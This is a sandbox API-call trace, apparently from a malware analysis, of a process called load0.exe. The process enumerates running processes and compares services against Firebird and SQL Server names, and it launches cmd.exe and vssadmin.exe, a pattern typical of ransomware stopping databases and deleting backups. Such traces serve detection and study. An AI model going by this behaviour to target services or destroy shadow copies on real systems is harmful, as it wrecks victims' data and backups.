(lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0255.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0255.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0255.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0255.368] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0255.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0255.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0255.368] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0255.368] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0255.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4063118 | out: hHeap=0x630000) returned 1 [0255.368] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1234 [0255.654] Process32FirstW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.655] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.657] lstrlenW (lpString="System") returned 6 [0255.657] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.658] lstrlenW (lpString="smss.exe") returned 8 [0255.658] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.659] lstrlenW (lpString="csrss.exe") returned 9 [0255.659] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.660] lstrlenW (lpString="wininit.exe") returned 11 [0255.660] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.661] lstrlenW (lpString="csrss.exe") returned 9 [0255.661] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.663] lstrlenW (lpString="winlogon.exe") returned 12 [0255.663] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.665] lstrlenW (lpString="services.exe") returned 12 [0255.665] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.840] lstrlenW (lpString="lsass.exe") returned 9 [0255.841] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0255.841] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0255.842] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0255.842] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0255.842] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.850] lstrlenW (lpString="svchost.exe") returned 11 [0255.850] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.851] lstrlenW (lpString="svchost.exe") returned 11 [0255.851] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.852] lstrlenW (lpString="dwm.exe") returned 7 [0255.852] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.853] lstrlenW (lpString="svchost.exe") returned 11 [0255.853] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.854] lstrlenW (lpString="svchost.exe") returned 11 [0255.854] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.855] lstrlenW (lpString="svchost.exe") returned 11 [0255.855] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.856] lstrlenW (lpString="svchost.exe") returned 11 [0255.856] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.857] lstrlenW (lpString="svchost.exe") returned 11 [0255.857] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.857] lstrlenW (lpString="svchost.exe") returned 11 [0255.857] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.858] lstrlenW (lpString="svchost.exe") returned 11 [0255.858] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.859] lstrlenW (lpString="svchost.exe") returned 11 [0255.859] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.860] lstrlenW (lpString="svchost.exe") returned 11 [0255.860] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.860] lstrlenW (lpString="svchost.exe") returned 11 [0255.860] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.861] lstrlenW (lpString="spoolsv.exe") returned 11 [0255.861] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.862] lstrlenW (lpString="svchost.exe") returned 11 [0255.862] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.863] lstrlenW (lpString="audiodg.exe") returned 11 [0255.863] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0255.864] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0255.864] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0255.865] lstrlenW (lpString="Memory Compression") returned 18 [0255.865] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0255.866] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0255.866] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0256.178] lstrlenW (lpString="sihost.exe") returned 10 [0256.178] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.180] lstrlenW (lpString="svchost.exe") returned 11 [0256.180] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.182] lstrlenW (lpString="taskhostw.exe") returned 13 [0256.182] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0256.184] lstrlenW (lpString="msoia.exe") returned 9 [0256.184] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.186] lstrlenW (lpString="explorer.exe") returned 12 [0256.186] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0256.187] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0256.187] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0256.188] lstrlenW (lpString="SearchUI.exe") returned 12 [0256.188] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0256.190] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0256.190] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0256.192] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0256.192] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0256.193] lstrlenW (lpString="load0.exe") returned 9 [0256.194] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0256.195] lstrlenW (lpString="cmd.exe") returned 7 [0256.195] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0256.196] lstrlenW (lpString="conhost.exe") returned 11 [0256.196] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0256.204] lstrlenW (lpString="consent.exe") returned 11 [0256.204] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0256.206] lstrlenW (lpString="vssadmin.exe") returned 12 [0256.206] Process32NextW (in: hSnapshot=0x1234, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0256.210] CloseHandle (hObject=0x1234) returned 1 [0256.210] Sleep (dwMilliseconds=0x1f4) [0257.030] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f648c0 [0257.030] EnumServicesStatusExW (in: hSCManager=0x3f648c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0257.031] GetLastError () returned 0xea [0257.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4073120 [0257.031] EnumServicesStatusExW (in: hSCManager=0x3f648c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4073120, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4073120, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0257.032] CloseServiceHandle (hSCObject=0x3f648c0) returned 1 [0257.032] lstrlenW (lpString="Appinfo") returned 7 [0257.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0257.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0257.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0257.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0257.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0257.033] lstrlenW (lpString="AppXSvc") returned 7 [0257.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0257.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0257.033] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0257.033] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0257.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0257.033] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0257.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.033] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0257.033] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0257.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0257.033] lstrlenW (lpString="Audiosrv") returned 8 [0257.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0257.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0257.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0257.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0257.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0257.034] lstrlenW (lpString="BFE") returned 3 [0257.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0257.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0257.034] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0257.034] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0257.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0257.034] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0257.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0257.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0257.034] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0257.034] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0257.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0257.035] lstrlenW (lpString="CDPSvc") returned 6 [0257.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0257.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0257.035] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0257.035] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0257.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0257.035] lstrlenW (lpString="ClickToRunSvc") returned 13 [0257.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0257.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0257.035] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0257.035] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0257.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0257.035] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0257.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0257.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0257.035] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0257.035] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0257.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0257.036] lstrlenW (lpString="CryptSvc") returned 8 [0257.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0257.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0257.036] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0257.036] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0257.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0257.036] lstrlenW (lpString="DcomLaunch") returned 10 [0257.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.036] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0257.036] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0257.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0257.036] lstrlenW (lpString="DeviceAssociationService") returned 24 [0257.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0257.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0257.037] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0257.037] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0257.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0257.037] lstrlenW (lpString="Dhcp") returned 4 [0257.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0257.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0257.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0257.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0257.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0257.037] lstrlenW (lpString="Dnscache") returned 8 [0257.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0257.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0257.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0257.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0257.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0257.037] lstrlenW (lpString="DPS") returned 3 [0257.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0257.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0257.038] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0257.038] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0257.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0257.038] lstrlenW (lpString="DusmSvc") returned 7 [0257.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0257.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0257.038] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0257.038] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0257.038] 